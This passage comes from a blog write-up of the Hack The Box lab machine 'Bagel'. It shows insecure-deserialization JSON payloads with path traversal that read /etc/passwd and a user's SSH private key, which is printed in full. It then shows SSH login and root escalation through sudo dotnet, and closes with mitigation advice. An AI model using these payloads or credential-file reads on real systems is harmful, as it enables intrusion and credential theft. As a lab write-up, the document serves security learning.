&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s2">&amp;#34;RemoveOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s2">&amp;#34;$type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bagel_server.File, bagel&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;ReadFile&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;../../../etc/passwd&amp;#34;&lt;/span>&lt;span class="p">}}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;UserId&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Session&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Unauthorized&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Time&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;4:52:17&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;RemoveOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;$type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bagel_server.File, bagel&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;ReadFile&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;root:x:0:0:root:/root:/bin/bash&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">bin:x:1:1:bin:/bin:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">daemon:x:2:2:daemon:/sbin:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">adm:x:3:4:adm:/var/adm:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">sync:x:5:0:sync:/sbin:/bin/sync&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">halt:x:7:0:halt:/sbin:/sbin/halt&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">mail:x:8:12:mail:/var/spool/mail:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">operator:x:11:0:operator:/root:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">games:x:12:100:games:/usr/games:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">dbus:x:81:81:System message bus:/:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">systemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">systemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">systemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">polkitd:x:998:997:User for polkitd:/:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">abrt:x:173:173::/etc/abrt:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">setroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">cockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">cockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">sshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">chrony:x:994:992::/var/lib/chrony:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">dnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">tcpdump:x:72:72::/:/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">systemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">systemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">developer:x:1000:1000::/home/developer:/bin/bash&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">phil:x:1001:1001::/home/phil:/bin/bash&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">_laurel:x:987:987::/var/log/laurel:/bin/false&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;WriteFile&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">null&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;WriteOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">null&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;ReadOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">null&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I could read the &lt;code>passwd&lt;/code> file. Now remembering the comment on using ssh key to login, I looked for &lt;code>id_rsa&lt;/code> file of the two users. I got the key for &lt;code>phil&lt;/code> user and formatted it by using CyberChef.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s2">&amp;#34;RemoveOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s2">&amp;#34;$type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bagel_server.File, bagel&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;ReadFile&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;../../../home/phil/.ssh/id_rsa&amp;#34;&lt;/span>&lt;span class="p">}}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;lt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;UserId&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Session&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;Unauthorized&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Time&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;4:53:11&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;RemoveOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;$type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bagel_server.File, bagel&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;ReadFile&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;-----BEGIN OPENSSH PRIVATE KEY-----&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">NhAAAAAwEAAQAAAYEAuhIcD7KiWMN8eMlmhdKLDclnn0bXShuMjBYpL5qdhw8m1Re3Ud+2&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">s8SIkkk0KmIYED3c7aSC8C74FmvSDxTtNOd3T/iePRZOBf5CW3gZapHh+mNOrSZk13F28N&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">dZiev5vBubKayIfcG8QpkIPbfqwXhKR+qCsfqS//bAMtyHkNn3n9cg7ZrhufiYCkg9jBjO&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ZL4+rw4UyWsONsTdvil6tlc41PXyETJat6dTHSHTKz+S7lL4wR/I+saVvj8KgoYtDCE1sV&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">VftUZhkFImSL2ApxIv7tYmeJbombYff1SqjHAkdX9VKA0gM0zS7but3/klYq6g3l+NEZOC&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">M0/I+30oaBoXCjvupMswiY/oV9UF7HNruDdo06hEu0ymAoGninXaph+ozjdY17PxNtqFfT&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">eYBgBoiRW7hnY3cZpv3dLqzQiEqHlsnx2ha/A8UhvLqYA6PfruLEMxJVoDpmvvn9yFWxU1&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">YvkqYaIdirOtX/h25gvfTNvlzxuwNczjS7gGP4XDAAAFgA50jZ4OdI2eAAAAB3NzaC1yc2&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">EAAAGBALoSHA+yoljDfHjJZoXSiw3JZ59G10objIwWKS+anYcPJtUXt1HftrPEiJJJNCpi&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">GBA93O2kgvAu+BZr0g8U7TTnd0/4nj0WTgX+Qlt4GWqR4fpjTq0mZNdxdvDXWYnr+bwbmy&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">msiH3BvEKZCD236sF4SkfqgrH6kv/2wDLch5DZ95/XIO2a4bn4mApIPYwYzmS+Pq8OFMlr&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">DjbE3b4perZXONT18hEyWrenUx0h0ys/ku5S+MEfyPrGlb4/CoKGLQwhNbFVX7VGYZBSJk&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">i9gKcSL+7WJniW6Jm2H39UqoxwJHV/VSgNIDNM0u27rd/5JWKuoN5fjRGTgjNPyPt9KGga&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">Fwo77qTLMImP6FfVBexza7g3aNOoRLtMpgKBp4p12qYfqM43WNez8TbahX03mAYAaIkVu4&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">Z2N3Gab93S6s0IhKh5bJ8doWvwPFIby6mAOj367ixDMSVaA6Zr75/chVsVNWL5KmGiHYqz&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">rV/4duYL30zb5c8bsDXM40u4Bj+FwwAAAAMBAAEAAAGABzEAtDbmTvinykHgKgKfg6OuUx&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">U+DL5C1WuA/QAWuz44maOmOmCjdZA1M+vmzbzU+NRMZtYJhlsNzAQLN2dKuIw56+xnnBrx&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">zFMSTw5IBcPoEFWxzvaqs4OFD/QGM0CBDKY1WYLpXGyfXv/ZkXmpLLbsHAgpD2ZV6ovwy9&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">1L971xdGaLx3e3VBtb5q3VXyFs4UF4N71kXmuoBzG6OImluf+vI/tgCXv38uXhcK66odgQ&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">Pn6CTk0VsD5oLVUYjfZ0ipmfIb1rCXL410V7H1DNeUJeg4hFjzxQnRUiWb2Wmwjx5efeOR&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">O1eDvHML3/X4WivARfd7XMZZyfB3JNJbynVRZPr/DEJ/owKRDSjbzem81TiO4Zh06OiiqS&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">+itCwDdFq4RvAF+YlK9Mmit3/QbMVTsL7GodRAvRzsf1dFB+Ot+tNMU73Uy1hzIi06J57P&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">WRATokDV/Ta7gYeuGJfjdb5cu61oTKbXdUV9WtyBhk1IjJ9l0Bit/mQyTRmJ5KH+CtAAAA&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">wFpnmvzlvR+gubfmAhybWapfAn5+3yTDjcLSMdYmTcjoBOgC4lsgGYGd7GsuIMgowwrGDJ&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">vE1yAS1vCest9D51grY4uLtjJ65KQ249fwbsOMJKZ8xppWE3jPxBWmHHUok8VXx2jL0B6n&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">xQWmaLh5egc0gyZQhOmhO/5g/WwzTpLcfD093V6eMevWDCirXrsQqyIenEA1WN1Dcn+V7r&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">DyLjljQtfPG6wXinfmb18qP3e9NT9MR8SKgl/sRiEf8f19CAAAAMEA/8ZJy69MY0fvLDHT&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">WhI0LFnIVoBab3r3Ys5o4RzacsHPvVeUuwJwqCT/IpIp7pVxWwS5mXiFFVtiwjeHqpsNZK&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">EU1QTQZ5ydok7yi57xYLxsprUcrH1a4/x4KjD1Y9ijCM24DknenyjrB0l2DsKbBBUT42Rb&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">zHYDsq2CatGezy1fx4EGFoBQ5nEl7LNcdGBhqnssQsmtB/Bsx94LCZQcsIBkIHXB8fraNm&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">iOExHKnkuSVqEBwWi5A2UPft+avpJfAAAAwQC6PBf90h7mG/zECXFPQVIPj1uKrwRb6V9g&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">GDCXgqXxMqTaZd348xEnKLkUnOrFbk3RzDBcw49GXaQlPPSM4z05AMJzixi0xO25XO/Zp2&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">iH8ESvo55GCvDQXTH6if7dSVHtmf5MSbM5YqlXw2BlL/yqT+DmBsuADQYU19aO9LWUIhJj&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">eHolE3PVPNAeZe4zIfjaN9Gcu4NWgA6YS5jpVUE2UyyWIKPrBJcmNDCGzY7EqthzQzWr4K&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">nrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">-----END OPENSSH PRIVATE KEY-----&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;WriteFile&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">null&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;WriteOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">null&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;ReadOrder&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">null&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now saving this to &lt;code>id_rsa&lt;/code> and setting the correct permissions, I can now login via ssh.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">chmod&lt;/span> &lt;span class="mi">600&lt;/span> &lt;span class="n">id_rsa&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">ssh&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="n">id_rsa&lt;/span> &lt;span class="n">phil&lt;/span>&lt;span class="err">@&lt;/span>&lt;span class="n">bagel.htb&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now recalling, there was a password for a &lt;code>dev&lt;/code> user in dll file and also a &lt;code>developer&lt;/code> user in the system, i try to switch user to developer with the password and it worked.&lt;/p>
&lt;h2 id="privilege-escalation">Privilege Escalation
&lt;/h2>&lt;p>Now as user &lt;code>developer&lt;/code>, i found out my sudo rights for privilege escalation,&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="n">developer&lt;/span>&lt;span class="err">@&lt;/span>&lt;span class="n">bagel&lt;/span> &lt;span class="n">phil&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="err">$&lt;/span> &lt;span class="n">sudo&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">l&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Matching&lt;/span> &lt;span class="n">Defaults&lt;/span> &lt;span class="n">entries&lt;/span> &lt;span class="kr">for&lt;/span> &lt;span class="n">developer&lt;/span> &lt;span class="n">on&lt;/span> &lt;span class="n">bagel&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">!&lt;/span>&lt;span class="n">visiblepw&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">always_set_home&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">match_group_by_gid&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">always_query_group_plugin&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">env_reset&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">env_keep&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;COLORS DISPLAY HOSTNAME HISTSIZE
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> KDEDIR LS_COLORS&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">env_keep&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s2">&amp;#34;MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">env_keep&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s2">&amp;#34;LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> LC_MESSAGES&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">env_keep&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s2">&amp;#34;LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">env_keep&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s2">&amp;#34;LC_TIME LC_ALL LANGUAGE LINGUAS
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> _XKB_CHARSET XAUTHORITY&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">secure_path&lt;/span>&lt;span class="o">=/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="kd">local&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">sbin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="kd">local&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">sbin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">sbin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">var&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">lib&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">snapd&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">snap&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">User&lt;/span> &lt;span class="n">developer&lt;/span> &lt;span class="n">may&lt;/span> &lt;span class="n">run&lt;/span> &lt;span class="n">the&lt;/span> &lt;span class="n">following&lt;/span> &lt;span class="n">commands&lt;/span> &lt;span class="n">on&lt;/span> &lt;span class="n">bagel&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="n">root&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">NOPASSWD&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">dotnet&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>For abusing &lt;code>sudo&lt;/code>, &lt;code>suid&lt;/code> and &lt;code>capabilities&lt;/code>, &lt;a class="link" href="https://gtfobins.github.io/gtfobins/dotnet/" target="_blank" rel="noopener"
>GTFObins&lt;/a> is a great website. Looking at it, there is a way to get root access using sudo permissions.&lt;/p>
&lt;p>&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/sudo.png"
width="1660"
height="396"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/sudo_hu909c7d2998fcfcdc25e408d4119683e4_70351_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/sudo_hu909c7d2998fcfcdc25e408d4119683e4_70351_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="419"
data-flex-basis="1006px"
>&lt;/p>
&lt;p>I ran the commands and got the root user. 🎉&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">sh&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mf">5.2&lt;/span>&lt;span class="o">#&lt;/span> &lt;span class="n">id&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">uid&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">root&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">gid&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">root&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">groups&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">root&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">context&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">unconfined_u&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">unconfined_r&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">unconfined_t&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">s0&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">s0&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">c0.c1023&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="mitigation-techniques">Mitigation Techniques
&lt;/h2>&lt;ol>
&lt;li>&lt;strong>Input Validation and Filtering&lt;/strong>: Implement strict input validation and filtering mechanisms to prevent injection attacks, including LFI (Local File Inclusion) vulnerabilities. Validate and sanitize all user inputs and file paths to ensure they do not allow unauthorized access to system files.&lt;/li>
&lt;li>&lt;strong>Secure Deserialization&lt;/strong>: Use safe deserialization practices, such as validating input types and using whitelists for allowed types during deserialization. Avoid using frameworks or libraries that automatically deserialize data without proper validation, as this can lead to remote code execution vulnerabilities.&lt;/li>
&lt;li>&lt;strong>Least Privilege Principle&lt;/strong>: Restrict privileges granted to applications and users to the minimum necessary for their functionality. Avoid granting unnecessary sudo or administrative rights, especially to binaries like dotnet, which can be abused to escalate privileges.&lt;/li>
&lt;li>&lt;strong>Monitoring and Logging&lt;/strong>: Implement comprehensive logging and monitoring of system activities, especially those involving sensitive operations like sudo access. Monitor for unusual or unauthorized activities to detect and respond to potential security breaches promptly.&lt;/li>
&lt;li>&lt;strong>Regular Security Audits and Patching&lt;/strong>: Conduct regular security audits to identify and mitigate vulnerabilities in applications and systems. Keep software and libraries up to date with security patches to protect against known vulnerabilities.&lt;/li>
&lt;/ol>
&lt;h2 id="conclusion">Conclusion
&lt;/h2>&lt;p>The penetration test revealed critical vulnerabilities including Local File Inclusion (LFI), insecure deserialization, and privileged escalation through misuse of sudo rights. These findings show the importance of strict security practices, including secure coding, proper input validation, and adherence to the principle of least privilege. It was a fun box.&lt;/p>
&lt;h2 id="references">References
&lt;/h2>&lt;ol>
&lt;li>&lt;a class="link" href="https://gtfobins.github.io/gtfobins/dotnet/" target="_blank" rel="noopener"
>https://gtfobins.github.io/gtfobins/dotnet/&lt;/a>&lt;/li>
